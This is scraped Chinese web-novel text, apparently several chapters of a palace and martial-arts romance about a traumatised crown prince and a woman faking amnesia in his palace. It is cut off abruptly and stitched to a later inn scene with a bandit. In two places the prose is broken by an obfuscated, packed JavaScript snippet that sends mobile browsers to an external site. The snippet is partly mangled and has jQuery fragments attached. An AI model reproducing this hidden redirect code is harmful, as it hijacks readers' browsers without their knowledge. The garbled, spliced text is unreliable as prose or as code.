“你为何如此在意这个孽种!若无凤曌趁人之危,此时我们也该有了孩子!”凤贠恨恨剜了眼凤岐,那滔天的恨意似要将三岁孩童淹没:“这个孽种本就不该存在!” 小凤岐被那恨意骇的浑身僵硬。 那时的他并不懂往日待他那般亲和的皇叔为何突然如此恨他。 “够了!”皇后猩红的眼中带着失望和悔意:“我此生最后悔的便是当初答应你的提亲,我与你退婚也从不是因为陛下!” “都这个时候了你还想为他辩驳!”凤贠吼道:“若没有凤曌,这一切本该是我的!包括你!” “因为你为了立功无所不用其极,强征赋税,克扣边疆将士军饷,滥杀无辜,欺上瞒下!”皇后一字一句道:“因为你心中只有争权夺利,没有苍生百姓,不配为君,亦不配做我兰隐的夫君!” “那又如何!” 凤贠:“那还不是被你们逼的,我才是正统嫡出,凭什么父皇更偏爱继后所出,甚至还要将太子之位给凤曌,凭什么我苦苦求之不得的,他凤曌就能轻而易举得到?我若不争如何还有我立足之地! 皇后失望地摇头:“你简直无可救药。” 凤贠握着刀大步走向皇后:“今日,这皇位是我的,你,也是!” “待我宰了这个孽种...唔!” 一支箭破空而去,从后至前穿透凤贠的胸口。 鲜血喷溅到小凤岐脸上,他身子一抖,直愣愣睁着眼,惊的仿佛失了神魂。 “凤贠,闹够了,该结束了。” 凤曌握着弓走进玉坤殿。 凤贠不敢置信,满眼不甘:“凤…曌…” 凤曌持弓护在母子身前,高大的身影挡住了小凤岐的视线,但他说的话却都模糊传入了小凤岐耳中:“若你安分,朕自能容你在封地平安度过一生,可你非要觊觎一些不属于你的东西。” “这本该...就是我的!” 凤贠吐出一口鲜血,满眼不甘。 “什么叫本该?先不提你不配为君,便是只论手段,你又有何处能胜过朕?今日这请君入瓮,你可满意?你以为没我的默许,你能打入宫中?” 凤贠猛地意识到什么:“你是说,这都是...你的布局..” “朕自小便知,要争,要赢,手里得有足够的筹码,也要杀伐果断,朕早知你有谋反之心,又岂能留你这个祸患?” 那日宫变,凤贠输的彻底,但有什么东西在小凤岐心中崩塌。 他牢牢记住了凤曌的话,但凡威胁到他的,要杀伐果断。 一夜之间,金尊玉贵的小太子眼底染上的阴霾和杀戮,他脑袋里解决问题的办法只有一个,就是杀。 抢他心爱之物的,他要杀,抢母后的,他要杀,听见有藩王对父皇有威胁,他也要杀。 连在梦中,他都喊着要杀人。 太医说,小凤岐这是受了太大的刺激留下了后遗症,那段时日,皇后几乎寸步不离的守在他身边,但始终不见好转。 直到兰白樾降生。 太医建议可以适当带小凤岐去宫外散心,兰白樾满月宴时,皇后带着小凤岐出宫探望,差点酿成大祸。 看见皇后慈爱的逗着小婴儿,小凤岐感觉到了威胁,病症发作不知从何处寻了把剑来要去杀人,幸得及时被兰夫人身边的人拦下。 那日所与人都吓的不轻,赶紧将两个孩子隔开,皇后抱着神思呆滞的小凤岐眼泪直流,兰夫人抱着儿子心有余悸: “怎会如此...” 皇后又愧疚又心疼:“从那日后,就这样了。” 她今日一直没敢让小凤岐离开她视线,方才她去如厕,交代好身边人看好小凤岐,却没想到一个不慎让他跑了,差点酿成了大祸。 兰夫人与皇后在闺阁中就交好,小凤岐降生后,兰夫人没少抱他,小凤岐活泼爱笑,兰夫人向来喜爱的紧,知道宫变日小凤岐受惊很是心疼,只是怀着身孕不便行走探望,实没想到小凤岐竟已如此严重。 “太医如何说?” “说是大惊之后留下的心结,得慢慢开解。” 皇后轻叹一声:“眼下只能先寸步不离陪着,今日着实对不住,我先带岐儿回去...” 突然,婴儿的咯咯笑声打断了皇后。 众人纷纷回头,却见小兰白樾直直盯着小凤岐笑的很是欢快。 而原本呆滞着的小凤岐竟缓缓回头看向了小兰白樾。 这一变故让所有人都愣住了。 小兰白樾挥舞着胖呼呼的小手,眼睛笑成了小月牙。 见小凤岐目不转睛盯着小兰白樾看,兰夫人迟疑良久后,放软声音朝小凤岐道:“小殿下,这是弟弟。” “弟妇...” 皇后察觉到兰夫人的心思,忙要阻止,却见兰夫人朝她轻轻摇头,转而温柔的对小凤岐道:“弟弟很喜欢小殿下,小殿下可要过来看看弟弟?” 在所有人的注视下,出乎意料的,小凤岐竟然慢慢动了。 顿时,一屋子人大气也不敢喘。 皇后更是赶紧站起身跟在小凤岐身后,做好随时将他拉开的准备。 待小凤岐走到小兰白樾跟前时,兰夫人握着儿子胖乎乎的小手,温柔朝小凤岐道:“小殿下,弟弟要和你握手呢,你摸摸看。” 小凤岐一动不动。 兰夫人无声看向皇后,皇后会意,先一手按住小凤岐的左臂,再握住他的右手慢慢抬起,温声哄着:“岐儿乖,和弟弟握握手。” 两只小手在两位母亲的爱意中轻轻碰在了一起。 那一瞬所有人都屏气凝神,生怕小凤岐又突然发病,伤了小婴儿。 但小凤岐只是歪了歪头,平静地看着手心肉乎乎的小手。 皇后顿时热泪盈眶。 要知道从那天后,除了她和陛下,没有人再能靠近岐儿半步。 兰白樾是第一个。 皇后微微哽咽道:“岐儿,以后要保护好弟弟,好不好?” 她没指望小凤岐答应,她只是想尽可能的告诉他,以后不可以伤害小兰白樾。 然而她没想到,小凤岐竟然开了口:“弟弟?” 皇后忍着泪,轻轻点头。 “对,是弟弟,和父皇和母后一样是岐儿的亲人。” 小兰白樾在小凤岐掌中晃了晃小手,抓住了他的一根手指。 小凤岐静静看了半晌后,低声道:“好。” 皇后与兰夫人怔愣片刻,才反应过来小凤岐回答的是方才皇后那句‘以后要保护好弟弟,好不好’,二人惊喜地对视一眼,眼里都涌出泪光。 从那以后,兰夫人就常带小兰白樾进宫。 不过刚开始都没敢让他们单独相处,不管多紧要,小兰白樾的身边都绝不会离人。 就这样慢慢地,小凤岐的病症竟也极少发作了。 但他的性子也发生了翻天覆地的变化。 他不再爱笑,不再温和,而是变得很严厉,不容人有丝毫错处,但凡不顺他的意必是重罚。 宫人很有眼力劲,每每这时不是去寻皇后,而是去找兰小公子,只要兰小公子来撒泼打滚闹一通,就能把人保下来。 见小兰白樾对小凤岐的病症有益,兰夫人主动同皇后提及将小兰白樾送进东宫给小凤岐做伴读,皇后起先还有些担心,但兰夫人的劝说下还是点了头。 果然,有小兰白樾这个小太阳陪着,久而久之,小凤岐也不再将打杀挂在嘴边,竟慢慢地恢复了以往的平和。 他再次发病是在小兰白樾九岁时。 那段时日小兰白樾喜欢上一条小狗,可玩耍时不慎被抓伤,小凤岐当即就像是变了个人,下令将小狗处死,小兰白樾哭着抱着他的腿求情。 “表哥,它不是故意伤害我的,我很喜欢它,放过它好不好。” 小凤岐病症发作起来谁也不认,眼看劝不住小兰白樾只能用自己的身体护着小狗,结结实实挨了小凤岐几棍子晕了过去后,小凤岐才猛地清醒过来,扔掉了棍子。 从那以后,凤岐再没发过病,只是眼里偶尔还是可以窥见冷漠和杀气,只是被他很好的掩饰了。 但凤岐曾因宫变心神受损一事瞒的极好,至今都少有人知晓。 平日的他看起来永远是懒撒不羁,行事随和,稳固着他凤昭的吉祥物的位子。 “表哥,表哥!” 玉京没有雨,只天色略有些昏暗,兰白樾趴在马车窗户边,指着街旁欢快道:“表哥你快看,那里新开了一间赌坊诶,我记得原来是什么来着,哦对是一家酒楼,诶怎么变成赌坊了。” 自进玉京开始,凤岐已经被吵了一路,头也不抬道:“想去赌?” “嗯啊...啊?没有啊。” 兰白樾差点说漏嘴,赶紧找补:“我才没有想去赌,一回京就去赌坊,我爹肯定会拿着棍子来请我。” 他说完,无意中看见了后头的马车,想了想后,坐回马车里,关上窗户,道:“表哥,你真的要把她带进东宫吗?” “嗯。” 凤岐淡声道:“待她伤好,我会让人送她离开。” 她的身份没有查清前,他不会放她走。 如若她真是冲着他们来的,随意放走恐有后患。 兰白樾没有多想,问:“我可以进宫看她吗?” “随你。” 马车一路行驶到国公府门口,在兰白樾下马车前,凤岐道:“这两日不许进宫,出门这么久,这两日好生待在府里陪舅母。” 兰白樾点头:“我知道,我过几日再进宫。” 说完,他头也不回地下了马车。 门房见着兰白樾惊喜的迎上了来:“小公子回来了。” “快去禀报夫人,小公子回来了。” 看着兰白樾被簇拥着进了府,凤岐才道:“回宫。” - 东宫。 一个略显圆润的小太监抻着脖子在门口张望着,刚见轿撵出现在尽头,他便扬起了笑容,吩咐身后的人:“都打起精神,殿下回来了。” 待轿撵停下,他赶紧迎上前,笑容满面:“殿下,您可回来了。” “今儿一早奴才就听见喜鹊叫,寻思着殿下这两日也该是要回来了,方才一听到消息,奴才可高兴坏了,两月没见着殿下,奴才茶饭不思,都瘦了呢。” 凤岐搭着他的手臂下了马车,缓步进了宫门,等他念叨完了,才上下打量他一眼:“瘦了?孤怎么瞧中,又圆了些。” “哪有?明明瘦了。” 小太监眼珠子一转,试图蒙混过去:“哎呀,殿下怎么瘦了这么多,殿下从没出过远门,这两月也不知受了多少苦,奴才已经备好了汤池,吩咐御膳房做了殿下爱吃的,殿下边泡汤池边用膳,还是泡完了再用?” 廉贞三人跟在后头,心里只有三个字。 狗腿子! “对了,小的已经让人给三位大人备好了热水,三位大人平日爱吃的饭菜,等会儿就送到三位大人房里。” 小太监回头看向几人,安排的妥帖周到:“这两个月的新衣也已经做好送到各位大人房里了。” 廉贞三人对视一眼。 陀罗勾唇:“我就说小橘子最是妥帖。” 小橘子:“陀罗大人又好看了呢。” 快别笑了,怪渗人的。 “行了,都退下吧。” 凤岐看了眼廉贞:“送到侧殿。” 廉贞颔首:“是。” 小橘子这才看见身后跟着的马车,好奇道:“马车怎么进来了?” “东西多,方便。” 廉贞简洁道。 小橘子也没多想,眼见凤岐走远忙小跑着追上去:“殿下,您这回回来了不出远门了吧,再出远门带上奴才呗,奴才一日不见殿下就不得劲儿。” “是吗!” 凤岐:“孤方才见过杨巽了,怎么听他说,你这两月过的很悠哉?每顿能吃三碗饭四个菜?” “奴才这不还小,长身体呢。”小橘子面不红心不跳:“杨统领倒是关心奴才,连这都知道。” “他还知道你每日跟小宫女打马吊叶子牌,在花园里抓蛐蛐,玩的不亦乐乎。” “偶尔,只是偶尔!” 小橘子正色道:“杨统领这属于攻讦。” “那孤将他叫来,你们对峙?” “嘿嘿,奴才觉得吧,杨统领那么忙为这点小事来对峙不值当,不值当。” 小橘子笑容堆了满脸:“殿下,快到了,有台阶,您小心脚下。” “哼。” 凤岐自知道他在找台阶下,也懒得追究:“准备套姑娘家的衣裳送到侧殿,让罗姑姑亲自去。” “是,奴才这就去。” 小橘子迅速转身要走,突然脚步一旋又转了回来:“那个,奴才没有听错吧,是准备套…姑娘…家的衣裳送到侧殿?” ‘姑娘’二字被他咬的极重。 凤岐斜他一眼:“不得声张。” 小橘子霎时瞪圆了双眼,倒抽一口凉气:“天爷诶……” 他就说好端端的怎么把马车弄进来了,原来里头藏着姑娘! 不对,重点是殿下竟然带回个姑娘回来! 凤岐听得那声惊叹回过头,小橘子连忙将嘴合上:“奴才这就去!” 小橘子脚步飞快的去寻了罗姑姑,带着准备衣裳径直往侧殿去。 罗姑姑见他走的这样急,不由皱眉:“走这么快作甚?规矩都忘了?” “哎哟我的姑姑诶,出大事了!” 小橘子脚步不停,犹如踩了风火轮。 “到底什么事急成这样?” “姑姑您到了侧殿就知道了。” 殿下即将及冠,娘娘不止一次提及殿下婚事,都被殿下给搪塞过去,到如今身边连个侧妃都没有,谁曾想这一趟远行就带回个姑娘。 他迫不及待想知道什么样的美人能让殿下开窍。 到了侧殿,发现大门紧闭。 小橘子四下望了眼,鬼鬼祟祟伸手敲了敲门。 罗姑姑看的莫名。 “侧殿无人,你敲什么门? 话刚落,门便从里打开。 陀罗看了眼二人,打了个哈欠:“交给你们了,我走了,药已经上过了。” “好嘞,陀罗大人慢走。” 小橘子侧身让开路,待陀罗离开,他才赶紧拉着罗姑姑踏进侧殿,顺手把门关上。 罗姑姑见他这般谨慎,皱眉往屏风后走去:“到底发生什么…” 她话音一顿,僵在原地。 却见原本该空无一人的侧殿中,添了新的纱帐,隔着轻纱隐约能瞧见床上躺着的人影,榻边还放着一双明显是女子尺寸的靴子。 “这…” 小橘子好奇的探头张望:“这也看不清什么模样啊。” 罗姑姑半晌才回过神,盯着小橘子:“到底怎么回事?” “小的也不知道啊。” 小橘子面露苦涩道:“方才殿下就吩咐小的送一套女子的衣裳,再将罗姑姑请过来,其他什么也没说,哦不对,说了的。” 罗姑姑忙问:“说了什么?” 小橘子正色道:“不许声张。” 罗姑姑面色一僵。 小橘子继续道:“难道,殿下想要金屋藏娇?” 罗姑姑扯了扯唇角,打断小橘子的臆测:“好了,既然是殿下交代的,先照做,别多话。” “这里有我,你去伺候殿下。” “是。” 小橘子应下:“那小的就先走了。” 小橘子一步三回头,颇为遗憾的走了。 白跑这么快了。 等小橘子出了侧殿,罗姑姑绷着的脸色立刻松了,她长呼一口气。 老天爷,殿下这是在干什么,怎么还偷偷带了个女子回来! 罗姑姑轻手轻脚的上前,小心翼翼掀开纱帐,然后瞳孔一震。 “我滴个乖乖,这模样好生标志。” 怪不得能入了殿下的眼。 也不知是哪家的姑娘… 不对,这昏迷着,还不让声张,天爷,该不会是殿下强行将人带回来的吧。 不不不,殿下做不出这种事。 罗姑姑放下纱帐,拍了拍胸脯安抚了会自己,才取了衣裳小心给人换上,发现人身上还有伤后,更是吓得心惊担颤。 不多会儿,小橘子又回来了。 “殿下让小的也来守着。” 四目相对,面面相觑。 一个姑娘让他们两个人看着,这是生怕人跑了? 二人各怀心思,在床边来回踱步,坐立难安。 胥璜是被杂乱的脚步声吵醒的。 她感觉耳边好像有千军万马,不停的来回走动,吵的她头脑发晕。 “别吵!” 胥璜烦躁的出声。 耳边的动静蓦地消失。 但紧接着,她感觉到一阵风袭来,有人靠近了她。 她猛地清醒过来睁开了眼,然后便对上两张放大的脸,她吃了一惊,差点一拳打了出去,幸得一道女声及时阻止了她。 “姑娘您醒了?” 胥璜盯着两张笑容诡异过分亲和的脸,半晌,才轻轻点头:“你们是...” 罗姑姑和小橘子笑容一滞:“姑娘不知道这是哪里?” 胥璜抬眸扫了眼四周,视线从柱子上的龙纹一扫而过,心里已大约猜到凤岐这是将她带进宫了。 但她面上不显,只茫然摇头。 “不知。” “那...那姑娘与殿下如何相识?” 罗姑姑尽量委婉问道。 “殿下?” 胥璜轻声重复了一遍,而后猛地想起了什么,慌忙掀开软被要下床,被罗姑姑阻止:“姑娘身上有伤,别乱动,仔细伤口。” 胥璜有些彷徨不安。 “我...我不知殿下是太子,不敢攀扯,我这就走。” “姑娘姑娘..” 小橘子连忙拦住她,笑着道:“是这样,是殿下将您带回来的,你可安心在这里养伤,不急着走。” 胥璜动作一顿。 “殿下将我带回来的?” “是啊。” 罗姑姑干笑了笑,试探道:“不知姑娘姓甚名谁,家住何方?” 胥璜沉默片刻,摇头:“我不记得了。” “不记得?” 小橘子惊道:“怎会不记得?” “我受伤失去了过往的记忆。” 胥璜道。 小橘子与罗姑姑再次对视一眼。 殿下这是趁人之危啊! “奴才斗胆问姑娘一句,可是自愿随殿下回来的?” 小橘子壮着胆子问道。 罗姑姑亦紧紧盯着胥璜。 胥璜愣住了。 好半晌她才终于明白他们的诡异笑容从何而来了。 他们这是怀疑凤岐强抢了她回来? “能得殿下相救,民女感激不尽。” 小橘子罗姑姑同时松了口气。 不是殿下抢回来的就好! 但还是有趁人之危的嫌疑! 小橘子忙殷切道:“姑娘可饿了?想吃点什么小的让厨房去做。” 胥璜刚想说不用,肚子便咕噜叫了声。 她有些难为情的低下头。 小橘子忙道:“姑娘稍后,小的这就去传膳。” “多谢。” 胥璜温声道。 小橘子走后,殿内霎时安静了下来,剩罗姑姑与胥璜大眼瞪小眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16483714|184600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好在小橘子动作快,不到一刻便带着饭食回来了。 荤素点心,一应俱全。 胥璜这两日频繁用苦肉计,算下来,已经两天没吃饭了,早就饿的前胸贴后背,也没过多客气,开始大快朵颐。 “姑娘慢点吃,不够还有。” 小橘子看傻了眼,心疼道:“姑娘这是多久没用饭了?” 倒是罗姑姑若有所思。 饿成这般模样,动作却无半点粗俗,反而一举一动间很是雅致,这等规矩绝非一朝一夕能养出来的,这姑娘,身份怕是不简单。 等胥璜用完犯,罗姑姑故作随意道:“不知姑娘可还记得如何受伤,如何为殿下所救?” 胥璜自是如实道来。 “我在云亭客栈醒来便什么都不记得了,只听殿下说将潭中救了我,我怕给殿下添麻烦,次日一早便离开了驿站,谁曾想半路遇到大雨,昏昏沉沉间就没了意识,再醒来就在这里了。” “原是这样啊。” 罗姑姑笑着道:“那姑娘可安心在此养伤,有什么需要的尽管吩咐。” 殿下可不是随意带姑娘回来的人,这怕是对人家一见钟情了。 胥璜连忙道谢:“多谢姑姑。” “姑娘不必客气。” 罗姑姑道:“对了,姑娘这身衣裳是临时找来的,不太合身,晚些时候我给姑娘量个尺寸,给姑娘做几件衣裳。” “不必...” “无妨,姑娘安心住下即可。” - 凤岐沐浴完用了饭,又去拜见了陛下和皇后,才慢悠悠回了东宫。 刚到正殿,就见小橘子端着布料满脸笑容的从侧殿出来,他将人叫住:“这是作甚?” 小橘子左右看了眼,见没有人神神秘秘回道:“给人姑娘量衣啊,殿下要金屋藏娇,可不能短了人吃穿。” “殿下放心,奴才方才已经给姑娘送过饭了,姑娘胃口不错..” “等等。” 凤岐打断他:“她醒了?” “醒了啊。” 小橘子道:“吃完饭睡了一觉,这会儿醒来,刚量完衣。” 凤岐:“...” 倒是比他都还悠闲。 还有,他是让他们盯着她,他们倒好,还伺候上了。 凤岐对上小橘子邀功的笑容,无奈叹了口气:“先退下。” “是。” 小橘子轻声道:“殿下放心,殿内没人,奴才在这守着,绝不让任何人靠近。” 凤岐:“....” 算了,他和蠢货说不明白。 凤岐踏进殿中,便看见身形单薄的女子坐在桌前走神。 察觉到他走近,她忙站起身,直愣愣看着他。 姑娘身上的衣裳并不合身,稍微有些紧,袖子也有些短,女子玲珑有致的身形一览无余。 凤岐默默错开视线。 胥璜回过神,忙道:“多谢殿下相救。” 凤岐示意她坐下。 才道:“并非我相救你,是表哥冒着大雨将你从路上捡回来的。” 胥璜又忙道:“兰小公子大恩,小女子没齿难忘。” 凤岐淡淡看着她:“救你并非指望你报恩。” “你只需告诉我,你是谁?” 胥璜自然知道他这是在试探她,轻轻摇头:“我还是没能想起来。” 凤岐瞧了她半晌才道。 “是吗,但我倒是从旁人口中听见了你的名字。” 胥璜一怔,忙道:“谁?那人认得我?他在何处?” 凤岐目不转睛看着她,缓缓道:“杀你的人。” 胥璜脸色肉眼可见的白了些。 她动了动唇,有些不敢置信道:“我的...仇人?” “更准确的来说,你是他们的仇人。”凤岐状似随意道:“据那几人所说,你是他们的杀父仇人,还抢了他们的宝贝。” 胥璜神情震惊,久久没回神,好半晌,她低头瞧着自己的双手: “怎么可能...我怎么会杀人...” 凤岐没错过她任何一个反应,微微眯起眼。 若这是装的,演技未免太好了些。 “涂萤。” 胥璜面露茫然:“什么?” 凤岐沉默了几息,道:“他们唤你妖女,涂萤。” 胥璜怔愣地看着凤岐。 “妖女?” 她怀疑的打量了眼自己,似乎不愿相信自己是旁人口中的妖女。 “涂萤...” 突然,胥璜低喃了声,而后轻轻捂着头,面露痛苦之色,似乎是想起了什么画面,嘴里轻声低喃:“不,不要...师父...快走...” 凤岐微微蹙眉,扬声道:“小橘子,请陆太医过来一趟。” “头好痛。” 胥璜虚弱的捂着头半倒在桌上,凤岐却不见半分怜惜,而是淡声道:“你有师父?” 胥璜没想到这人心肠如此硬,只能硬着头皮继续演下去。 “嗯....师父....” “你想起什么了?” “我...” 胥璜眼神迷离:“我和师父好像被追杀,师父...死了,不,不对,还有一个人在救我,是谁...” “那你仔细想想,那个人是谁?” 胥璜痛苦的摇摇头:“他...他是...我想不起来了...他唤我...涂萤!” “我是涂萤,不,我不是妖女,我没有害人...” 说完,胥璜像是受了刺激般晕倒在了桌上。 凤岐巍然不动的盯了她半晌,突然以掌为刃朝胥璜脖颈劈去,却又停下离脖颈只有半指的距离。 昏迷中的人毫无反应。 凤岐缓缓收回手。 若这都能沉得住气,此女不可小觑。 小橘子带着陆太医进殿看见这一幕,二人都是一愣。 小橘子三步并作两步跑过来:“姑娘这是怎么了?” 凤岐朝陆太医道:“给她看看。” 陆太医也不敢问姑娘是从哪来的,只恭声应下:“是。” 陆太医诊了会儿脉象,突然道。 “这位姑娘可是受过什么重力冲击?” 凤岐:“嗯,从高崖落过水。” 陆太医了然:“原来如此。” 他收回手,道:“禀殿下,这位姑娘筋脉受损,内劲乱窜,近断时日需得好生静养,否则后果不堪设想。” 这些凤岐都知道。 “她不记得前尘了。” 陆太医一怔,随后道:“落入水中,头受到冲击,极有可能影响记忆,不过以姑娘的脉象来看,这只是暂时性的,过些日子就能慢慢想起来。” 凤岐嗯了声:“此事莫要声张。” 不必凤岐吩咐,陆太医也不敢胡乱宣扬:“是,臣明白。” “小橘子,送陆太医出去,让罗姑姑进来。” “是。” 待二人离开,凤岐才起身出了侧殿。 “廉贞,让人去查。” “是。” - 胥璜直到次日午后才醒。 她醒来便察觉到殿内有人,忙转头看去,隔着纱帐,隐约瞧见一道挺直的侧影。 胥璜忙起身:“殿下。” 凤岐瞥他一眼:“醒了。” “嗯。” 胥璜有些忐忑的看了他一眼:“我昨日好像晕过去了...” 她当然不是装晕,她可不敢小看太医的医术。 不过是昨日装头痛时偷偷给自己点了睡穴。 凤岐没应,只道:“廉贞。” 话落,便有人推门而入。 “我让廉贞去查了你的身世。” 胥璜面露惊喜:“有结果了?” 凤岐看了眼廉贞,廉贞遂禀报道:“根据目前查到的消息,姑娘确实唤作涂萤,是江湖女魔头沈清绾的徒弟,月余前,前武林盟主为了逼沈清绾交出一样东西,对其下了追杀令,最终,沈清绾死在前任武林盟主徐炀手中,临死前将通身内力尽数传给了姑娘。” “姑娘身边还有一个护卫,姑娘隐匿的半月后,带着护卫重出江湖为沈清绾报仇,连续杀了逼死沈清绾的五人,江湖也因此天翻地覆,随后新任盟主对姑娘下了追杀令,姑娘逃亡半月后,与护卫一并坠入绝命潭。” 胥璜听到这里,忙起身道:“我的护卫也落了水,可有他的消息?” 廉贞道:“绝命潭深不可测,落入其中很难活命,当日我们也只见到姑娘一人。” 胥璜失落的坐了回去。 又过了会儿,她问:“那我父亲母亲又是何人?” “据查证,姑娘的父亲乃是卓家一门旁亲,早年父母死于仇杀,独女在护卫的保护下逃亡,多年不知所踪,阴差阳错中被沈清绾收为了徒弟。” 廉贞朝凤岐颔首道:“这是目前查到的与涂萤姑娘有关的所有消息。” 凤岐嗯了声:“先下去吧。” 胥璜却突然道:“等等。” 凤岐淡淡看向她,胥璜有些迟疑道:“殿下,能不能帮我找找我的护卫,听起来,我好像只有他一个亲人了...” 亲人? 凤岐眼神微抬。 半晌后,他道:“好。” 廉贞退下后,胥璜陷入了沉思,不知在想什么。 凤岐便也安静坐着,过了许久,胥璜才回过神,朝她盈盈一拜:“多谢殿下。” 凤岐起身,淡声道:“安心在此养伤,伤养好了便离开。” 胥璜感激应下:“是。” 胥璜目送凤岐离开,眼神微微沉了下来。 她早便猜到若计划成功,凤岐一定会查她的身世,所有她在那半月中已经安排好了一切,且还有太簇在暗中相助,不怕他们调查。 但……装失忆并不长久。 她得在合适的时机想起一切,做回那个被江湖追杀的‘妖女’。 凤岐离开侧殿,廉贞便迎了上来:“殿下,要帮涂姑娘找她的护卫?” 凤岐徐徐道:“找,继续往深了查。” 廉贞一愣:“殿下的意思是...” “太顺畅了。” 凤岐淡淡道:“顺畅到好像这一切都像是有人提前安排好,就等着我们去查,涂家不是有个孤女逃亡在外吗,就从她查起。” 他倒要看看,还会不会冒出第二个涂家孤女! 14.第 14 章 一行人到了客栈天已经黑了,大高个大刀阔斧坐下便熟练的叫来小二:“上四碗面,加四份牛肉,再炒两个小菜,你们还要什么……欸…” 大高个一转头就见三人已经趴在桌子上,双眼无神,面色呆滞。 “不是说一个时辰就到吗?”胥璜有气无力。 “对啊,我平时过来也就一个时辰,你们走的太慢了嘛。”大高个挠挠脑袋道。 胥璜想给他一一拳都提不上力了,干脆换了面趴着,懒得看他。 小二一看到大高个脸色就变了,但很快就恢复如常,小心迎上来陪笑道:“大哥怎么今日就下来了。” 这也没到收保护费的日子啊。 小二一边说一边打量着另外几人,虽然满是疲倦,但个顶个的好看,一看就不可能是与山匪为伍的,天老爷,这莫不是出门运道不好被这帮山匪劫了。 小二心里虽同情,面上却不敢表露半分。 这帮山匪都是心狠手辣的,手里的人命怕是都有几百了,也就面前这个看起来没什么心眼子的略微好说话些。 但再好说话也是山匪,他可不敢多话。 “今日不是来收钱的,就来吃个饭,你们快些上菜。”大高个道。 “好嘞,那大人稍等,这就去准备。” 小二半点不敢耽搁,赶紧去厨房叫了菜:“山上来的,多上点肉,赶紧把这祖宗送走。” 有他处在这,过路的人怕都不敢进来。 面很快就端了上来,香味扑鼻,肚子叫的更欢了。 “快吃…吧…” 大高个拿了双筷子正想递给胥璜,却见三人颤抖着手但速度又极快的抓起双筷子,埋头就开始嗦面。 大高个:“……” 这怎么看着比他饿的还久 正在大高个愣神时,菜盘子已经空了一个,他这才回过神拿起了筷子。 四个人头也不抬,一言不发的大快朵颐,不过小半刻,桌子上便被扫荡一空。 填饱肚子,总算恢复了些气力。 几人呆着坐了一会儿,凤岐才拿出荷包叫小二结账,有大高个坐这儿,老板哪里敢收钱,客客气气道:“不用,这顿就当是请各位了。” 大高个早就习惯了,站起身就要走被凤岐一把摁住,道:“该多少,就多少。” 老板怔了怔,为难的看向大高个,大高个清咳了声,摆手:“听…听他的。” “是。” 老板忙道:“这样,我给各位打个折,就收四十文。” 凤岐给了他一颗碎银子,他赶紧接过去道:“稍等,我去找钱。” 他前脚一走,凤岐就将碎银子倒在桌子上,仔细分了分,将一半推到大高个面前:“这是你的。” 大高个乐的咧着嘴:“我…我真能要吗?” “说好了,劫到的钱一人一半。” 胥璜打了个哈欠道。 老板拿着找的钱回来就听到这话,他脚步一顿,飞快扫了眼胥璜三人。 方才小二还来跟他说这帮劫匪抢了人,没成想这竟然是一伙的。 这几人看着气质不凡,长得可是他平生所见过最好看的了,怎就落草为寇了,这都什么世道啊。 老板客气将找的钱递过去。 凤岐接过来放进了荷包,给了鹿玡:“小芽儿,收好。” “好。” 鹿玡小心将荷包放进随身带的包袱里,道:“师姐,我们接下来去哪里?” 胥璜又打了个哈欠。 “问风公子。” 这里不是她的地盘,有些事,能不牵头就不牵头。 凤岐也是困得双眼泛起了泪花,转头问老板:“有房间吗?” 老板心里恨不得他们赶紧走,一听要住店顿时叫苦不迭,可又不敢说没有。 “还有的。” 胥璜凤岐几乎是从座位上弹射起来的。 “带路。” “是。” 老板忙带着二人上楼,大高个忙跟上去:“那我呢?” 凤岐头也不回:“你找地儿睡一晚,明早醒了跟你回去。” “好嘞。” 大高个欢喜应下。 他给寨子带回去这么厉害的两个人,老大肯定是要重赏他的。 “给我也来间房。” 老板见大高个对这几人毕恭毕敬,又听着他们这番对话,心里越发沉了下去。 原来是新加入寨子的,这帮山匪是越来越多了,最近他这客栈因为收价生意是越发不好做了,可收的低了又不够给他们上供的,这以后的日子可怎么过啊。 三人整整走了一日,都累的挪不动脚,一进房间简单洗漱完就睡了。 这地不安全,胥璜拉着鹿玡睡在一间。 这一觉就睡到了第二天午时。 大高个早就在楼下等的抓心挠肝的,他早上是被惊醒的,因为他突然想起他忘记什么! 他将二十三哥给忘了! 可他怕自己走了他们又醒了,万一人跑了,这不就一场空了。 大高个左思右想下出了十个铜板让客栈小二去帮救人,他等了一个上午到现在还没有音讯。 楼上的人也还没醒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16524687|184600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就在他准备上楼去敲门时,楼梯上终于传来了动静,他抬头一看,面上一喜:“公子可算是醒了,昨夜睡得可好?” 可真能睡啊,这前后加起来睡了八个时辰了!圈里的猪都没他们能睡。 大高个亦步亦趋的跟在凤岐身后:“公子,两位姑娘醒了吗,我们可以出发了吗?” 凤岐慢悠悠走下来坐下。 “你急什么?先吃饭。” 大高个看了眼外头,太阳正当头,正是用午饭的时候,心一横:“行!先吃饭。” 凤岐随便点了几样菜,菜刚上胥璜鹿玡便下了楼,随口打了声招呼,自然而然坐下埋头用午饭。 这些日子虽然打了些野物,但药庐条件不足,能吃就不错了,色香味什么的,基本是没有的。 眼前的饭菜对现在的他们来说便是山珍海味。 大高个看着他们吃饭,自己又多添了两碗米饭。 刚吃完饭小二就回来了,说没有找到人,可能是回去了。 大高个想了想,也觉得有可能。 “那我们也赶紧回去吧。” 凤岐瞥了眼小二袖口处的血迹,不疾不徐问:“离本地县城还有多远?” 小二回道:“还挺远的,走路得大半天呢。” 大高个一愣:“我们不是回寨子吗,去县城作甚?” 